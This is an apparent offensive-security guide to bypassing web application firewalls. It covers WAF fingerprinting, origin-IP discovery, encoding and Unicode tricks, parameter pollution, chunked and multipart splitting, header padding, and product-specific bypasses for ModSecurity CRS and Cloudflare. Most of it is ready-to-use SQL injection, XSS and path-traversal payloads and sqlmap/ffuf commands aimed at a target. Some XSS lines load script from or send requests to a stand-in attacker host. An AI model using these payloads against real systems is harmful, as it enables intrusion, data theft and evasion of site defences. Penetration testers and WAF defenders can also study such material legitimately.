How WAFs Work: Detection Mechanisms
Web Application Firewalls operate by inspecting HTTP traffic and making allow/block decisions based on one or more detection strategies. Understanding the detection mechanism is prerequisite to developing effective bypasses:
- Signature-based detection: Maintains a database of known attack patterns (strings, regex). ModSecurity's OWASP Core Rule Set (CRS) is the canonical example. Bypasses focus on transforming the payload to avoid matching signatures.
- Anomaly-based detection: Builds a baseline of normal traffic and scores deviations. Attacks look "abnormal" in some measurable way. Bypasses focus on making the attack blend into normal traffic.
- Machine learning detection: ML models classify requests as benign or malicious based on features. Bypasses involve adversarial examples — inputs that fool the model while still reaching the back-end as valid attacks.
- Protocol validation: Checks HTTP conformance. Bypasses use non-standard but parser-accepted HTTP constructs.
WAF Fingerprinting
# Tool: wafw00f (dedicated WAF fingerprinting tool)
pip3 install wafw00f
wafw00f https://target.com
wafw00f https://target.com -a # try all fingerprints
# Manual fingerprinting via response headers:
curl -I https://target.com
# Look for:
# Server: cloudflare → Cloudflare
# x-sucuri-id: → Sucuri
# X-Powered-By: AWS WAF → AWS WAF
# Set-Cookie: __cfduid= → Cloudflare
# Set-Cookie: BIGipServer → F5 BIG-IP ASM
# Server: AkamaiGHost → Akamai
# Fingerprint via error page behavior:
curl "https://target.com/?q=<script>alert(1)</script>"
# Cloudflare: Returns 403 with "Cloudflare Ray ID: ..."
# ModSecurity: Returns 403 with "ModSecurity" in page or headers
# AWS WAF: Returns 403 with empty body or AWS error format
# Akamai: Returns "Reference #..." error page
# Check for WAF bypass via direct IP access:
# If CDN/WAF sits in front, the origin IP may be accessible directly
# Tools: Shodan, Censys, SecurityTrails, subdomain enumeration
# Access origin IP directly: curl -H "Host: target.com" http://ORIGIN_IP/
# Test WAF rule threshold:
# Gradually increase payload intensity:
GET /?q=SELECT # blocked?
GET /?q=SELECT+FROM # blocked?
GET /?q=SELECT+id+FROM+users # blocked?
# Identifies the minimum payload that triggers blocking
Encoding Bypass Techniques
URL Encoding
# Standard URL encoding (single):
SELECT → SEL%45CT
UNION → UNI%4FN
script → scri%70t
alert → aler%74
# Double URL encoding (if WAF decodes once but backend decodes twice):
SELECT → SEL%2545CT (% → %25, so %45 → %2545)
' → %2527
< → %253C
# Mixed encoding:
%53ELECT (S is %53)
S%45LECT
SE%4CECT
# Unicode/UTF-8 encoding:
SELECT → %u0053ELECT (IE-specific Unicode escape)
' → %u0027
< → %u003C
# HTML entity encoding (if WAF strips these and backend renders HTML):
<script> → <script>
# Also: <script>
# Numeric decimal: <script>
# Numeric hex: <script>
# Full bypass example — SQLi with encoding:
# Blocked: ?id=1 UNION SELECT username,password FROM users--
# With URL encoding:
?id=1%20%55NION%20%53ELECT%20username%2Cpassword%20FROM%20users--
# Double-encoded XSS:
# Blocked: <script>alert(1)</script>
# Double encoded: %253Cscript%253Ealert(1)%253C%252Fscript%253E
Unicode Normalization Bypass
# Unicode normalization (NFC, NFKC) converts some Unicode characters
# to their ASCII equivalents AFTER WAF inspection
# Fullwidth ASCII variants (U+FF01 to U+FF5E):
SELECT → SELECT (U+FF33 U+FF25 U+FF2C U+FF25 U+FF23 U+FF34)
UNION → UNION
script → script
alert → alert
# Test: submit fullwidth SQL keyword to WAF
# WAF sees: SELECT (not in its pattern database)
# Backend normalizes to: SELECT before processing
# Other Unicode variants:
# IPA extensions: ɑ(U+0251) looks like a
# Cyrillic lookalikes: а(U+0430) looks like a
# Greek lookalikes: ο(U+03BF) looks like o
# UTF-7 encoding bypass (IE-specific, legacy):
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
# +ADw- = < in UTF-7, +AD4- = >
# Only works if server returns charset=utf-7
# Unicode in SQL identifiers:
# MySQL accepts Unicode in table/column names
# Use Unicode "equivalent" characters that normalize to SQL keywords
Case Variation and Keyword Splitting
# Case variation (for case-insensitive backends):
UNION SELECT → uNiOn SeLeCt
SELECT → sElEcT
script → sCrIpT
onerror → OnErRoR
# Comment injection (MySQL, MSSQL, PostgreSQL):
# Standard comments:
UNION/**/SELECT
UNION--\nSELECT (newline comment)
UNION/*!*/SELECT (MySQL version comment executes payload)
UNION/*! */SELECT (conditional execution)
# MySQL specific conditional comment bypass:
/*!50000 SELECT*/ → executes SELECT in MySQL 5.0.000+
/*!32302 UNION*/ → executes UNION in MySQL 3.23.02+
# Space alternatives (bypass space-based signatures):
SELECT%09id (%09 = tab)
SELECT%0aid (%0a = newline)
SELECT%0bid (%0b = vertical tab)
SELECT%0cid (%0c = form feed)
SELECT%0did (%0d = carriage return)
SELECT%a0id (%a0 = non-breaking space, some parsers skip)
SELECT(id) (parentheses instead of space in MySQL)
# Full bypass example:
# Original: UNION SELECT username,password FROM users
# Bypassed: /*!UNION*/+SEL/**/ECT+username,/*!*/password/**/FROM/**/users
HTTP Parameter Pollution (HPP)
HTTP Parameter Pollution exploits the fact that different components of a web architecture parse duplicate query parameters differently. The WAF may take the first value, while the back-end uses the last value — or vice versa:
# HPP: duplicate parameters
# WAF takes first value (safe), backend takes last value (malicious):
GET /search?query=test&query=1' OR '1'='1
# WAF takes last value, backend takes first:
GET /search?query=1' OR '1'='1&query=test
# HPP in POST body:
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
query=legit_value&query=UNION SELECT * FROM users--
# WAF implementations' HPP behavior:
# Framework parameter parsing behavior:
# PHP: last occurrence wins (?a=1&a=2 → $_GET['a'] = '2')
# JSP/Servlet: first occurrence (?a=1&a=2 → request.getParameter("a") = '1')
# ASP.NET: comma-joined (?a=1&a=2 → "1,2")
# Express.js (qs): array (?a=1&a=2 → req.query.a = ['1','2'])
# Real HPP bypass scenario:
# WAF inspects: id=1 (safe)
# Backend uses the second: id=1 UNION SELECT 1,user(),3--
GET /item?id=1&id=1%20UNION%20SELECT%201%2Cuser()%2C3--
# HPP in cookies:
Cookie: session=VALID_SESSION; session=MALICIOUS_PAYLOAD
# Some backends parse the second, WAF validates the first
Chunked Transfer Encoding Bypass
# Chunked transfer encoding sends the body in pieces
# Some WAFs don't reassemble chunked bodies before inspection
# (due to performance concerns) — each chunk appears harmless
# Normal request (blocked by WAF):
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
q=1' UNION SELECT * FROM users--
# Chunked version (WAF may only see one chunk at a time):
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
3
q=1
d
' UNION SELECT
d
* FROM users-
2
-
0
# Each chunk:
# Chunk 1 (3 bytes): "q=1"
# Chunk 2 (13 bytes): "' UNION SELECT"
# Chunk 3 (13 bytes): " * FROM users-"
# Chunk 4 (2 bytes): "- "
# Terminator: 0
# Automated chunking:
python3 -c "
data = b\"q=1' UNION SELECT * FROM users--\"
chunk_size = 5
chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)]
for c in chunks:
print(f'{len(c):x}')
print(c.decode())
print('0')
print()
"
# Using curl with chunked:
curl -H "Transfer-Encoding: chunked" \
--data-urlencode "q=1' UNION SELECT * FROM users--" \
https://target.com/search
# Note: curl handles chunking automatically
Multipart Form Data Bypass
# Split payload across multipart form fields:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary123
------Boundary123
Content-Disposition: form-data; name="part1"
1' UNION
------Boundary123
Content-Disposition: form-data; name="query"
SELECT username FROM users--
------Boundary123--
# If WAF inspects each part separately (not recombined):
# Part 1: "1' UNION " — not a complete SQL injection
# Part 2: "SELECT username FROM users--" — not preceded by injection
# Also: vary the boundary separator:
# Standard: ----WebKitFormBoundary
# Unusual: a, !, @, vary case
Content-Type: multipart/form-data; boundary=a
# Or use multiple Content-Type headers (browser vs WAF parsing difference):
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data; boundary=----B
# Null byte in boundary:
Content-Type: multipart/form-data; boundary=\x00aaaa
HTTP Header Manipulation
# Header injection to overwhelm WAF inspection buffer:
# WAF may stop inspecting after X bytes to avoid performance impact
# Send a very large header to push the malicious header past the inspection limit
GET /?q=1 HTTP/1.1
Host: target.com
X-Padding: AAAAAAAAAAAAA[repeat 8000 times]AAAAAAAAAAAAA
X-Attack: 1' UNION SELECT * FROM users--
# WAF hits inspection limit on the X-Padding header,
# stops inspecting, X-Attack is never analyzed
# Duplicate host header:
Host: legit.com
Host: 127.0.0.1
# Non-standard header name for WAF bypass (if WAF only checks specific headers):
X-Forwarded-For: 127.0.0.1' UNION SELECT * FROM users--
# If WAF doesn't inspect X-Forwarded-For but backend uses it in queries
# CR/LF injection in headers:
# Some WAFs don't handle CRLF injection in header values
X-Custom: test\r\nX-Attack: payload
# Tab character in header name:
# Some WAFs match exact header names:
Accept\x09Encoding: gzip # tab between Accept and Encoding
SQL Injection Specific Bypasses
# Comprehensive SQLi WAF bypass table:
# union keyword bypass:
uNiOn # case mixing
un/**/ion # comment splitting
%55nion # URL encoding U
UNion
u%6eion # lower-case 'n'
# select bypass:
SeLeCt
se/**/lect
%53elect
sel\x00ect # null byte (some parsers)
# No spaces SQLi:
SELECT(id)FROM(users)WHERE(id=1)
1'||'1'='1 # no spaces needed
# MySQL comment tricks:
1 /*!50000 UNION*/ /*!50000 SELECT*/ 1,2,3--
1 /*!UNION*/+/*!SELECT*/+1,2,3--
# Encoded single quote bypass:
# If WAF blocks ' but allows %27:
1%27 OR %271%27=%271
# Scientific notation:
1e0 UNION SELECT # 1e0 = 1 in MySQL
SELECT 1.0e0 FROM dual
# MySQL function alternatives:
# Instead of: SUBSTRING(str,1,1)
MID(str,1,1)
SUBSTR(str,1,1)
LEFT(str,1)
# Instead of: CONCAT(a,b)
CONCAT_WS('',a,b)
a||b (MSSQL, SQLite)
# Instead of: char(39)
chr(39) # PostgreSQL
char(39) # MySQL MSSQL
# Bypass hex-encoded strings detection:
# Instead of: 0x61646d696e (hex for "admin")
CHAR(97,100,109,105,110) # decimal char codes
# MSSQL specific:
1;EXEC(0x73...hex_encoded_xp_cmdshell...)-
exec('sel'+'ect 1')
XSS Specific WAF Bypasses
# Block list bypass for <script>:
<ScRiPt>alert(1)</ScRiPt>
<script/src=//attacker.com/xss.js>
<script>/*XSS*/alert(1)</script>
# Event handler based (no script tag needed):
<img src=x onerror=alert(1)>
<img src=x onerror="ale"+"rt(1)">
<img src=x onerror=\u0061lert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
# Bypass alert() detection:
# Alternatives to alert:
confirm(1)
prompt(1)
console.log(1)
// Modern: use fetch to external domain instead:
fetch('//attacker.com/xss-confirmed')
# HTML entity bypass for event handlers:
<img src=x onerror=alert(1)>
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>
# Backtick instead of quotes:
<img src=`x` onerror=`alert(1)`>
# Mixed quotes:
<img src="x' onerror='alert(1)>
# WAF-bypassing JavaScript URI:
<a href=javascript://%0aalert(1)>click</a> # newline in URI
<a href="jAvAsCrIpT:alert(1)">click</a>
<a href="javascript:alert(1)">click</a> # j encoded
Specific WAF Bypasses
ModSecurity OWASP CRS Bypasses
# ModSecurity CRS scoring model:
# Each rule match adds to anomaly score
# Threshold (typically 5 or 10) triggers block
# Bypass: stay under the anomaly score threshold
# Split the payload so no single rule is triggered to threshold
# CRS Rule 941xxx (XSS rules) bypass:
# Rule 941110: <script
# Bypass: <sCriPt (case) — no, CRS is case-insensitive
# Bypass: via encoding transformation
# CRS Rule 942xxx (SQLi rules) bypass:
# 942100: SQL injection via libinjection
# libinjection is a tokenizer-based detector
# Bypass: use SQL constructs that libinjection doesn't classify as injection
1 OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x3a,0x3a,(SELECT version()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
# Test CRS bypass:
# Run ModSecurity in detection-only mode locally:
docker run -p 80:80 owasp/modsecurity-crs
curl "http://localhost/?q=1' UNION SELECT 1--" -I # check response/logs
# Specific CRS bypass for path traversal:
# Rule 930100: Path traversal
GET /files/..%2f..%2fetc%2fpasswd # blocked
GET /files/%2e%2e/%2e%2e/etc/passwd # double encoded
GET /files/..%c0%af..%c0%afetc/passwd # overlong UTF-8
Cloudflare WAF Bypass
# Cloudflare uses multiple detection layers
# Their managed rules are updated regularly
# General Cloudflare bypass research:
# 1. Find direct-to-origin paths (IP enumeration, old subdomains)
# 2. Use Cloudflare Bypass Tools: cf-clearance cookie manipulation
# XSS bypass techniques historically effective against Cloudflare:
<svg/onload=location='javascript\x3aalert\x281\x29'>
<svg onload="eval(atob('YWxlcnQoMSk='))"> # base64: alert(1)
<img src onerror="(a=alert)(1)">
# SQLi Cloudflare bypass:
# Cloudflare has specific detection for common SQLi patterns
# Bypass: use MySQL-specific syntax that avoids blocked keywords
1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)
# Cloudflare specific: use URL-encoded newlines
GET /?q=%0A1+UNION+SELECT+1%2C2%2C3--
Fuzzing WAF Rules with ffuf
# Generate a wordlist of encoding variations for a payload:
python3 -c "
from urllib.parse import quote
payload = "UNION SELECT"
variations = [
payload,
payload.lower(),
payload.upper(),
payload.replace(' ', '/**/'),
payload.replace(' ', '%20'),
payload.replace(' ', '%09'),
quote(payload),
quote(quote(payload)),
]
for v in variations:
print(v)
" > payloads.txt
# Fuzz which variation bypasses the WAF:
ffuf -u "https://target.com/search?q=FUZZ" \
-w payloads.txt \
-fc 403,406,501 \
-mc all \
-t 5
# Generate comprehensive SQLi bypass list:
# Use sqlmap's tamper scripts as reference:
sqlmap -u "https://target.com/?id=1" \
--tamper=charencode,between,randomcase,space2comment \
--random-agent \
--level=5 --risk=3
# Available sqlmap tamper scripts:
ls /usr/share/sqlmap/tamper/
# apostrophemask.py → ' to UTF-8 fullwidth
# base64encode.py → base64 the payload
# between.py → NOT BETWEEN instead of < and >
# bluecoat.py → for Blue Coat WAF
# charencode.py → CHAR() encoding
# chardoubleencode.py → double URL encoding
# equaltolike.py → = to LIKE
# space2comment.py → spaces to /**/
# space2hash.py → spaces to #
# randomcase.py → random case
# unionalltounion.py → UNION ALL SELECT to UNION SELECT
WAF bypass is fundamentally about understanding the gap between what the WAF inspects and what the application processes. The most reliable bypasses exploit legitimate HTTP features (chunked encoding, multipart forms, Unicode normalization) that WAFs handle differently from backend applications. A systematic approach — fingerprinting the WAF, understanding its detection model, then iterating through bypass techniques — is more effective than trying random obfuscation. Tools like sqlmap with tamper scripts and custom ffuf wordlists allow automated enumeration of effective bypass techniques for a specific target.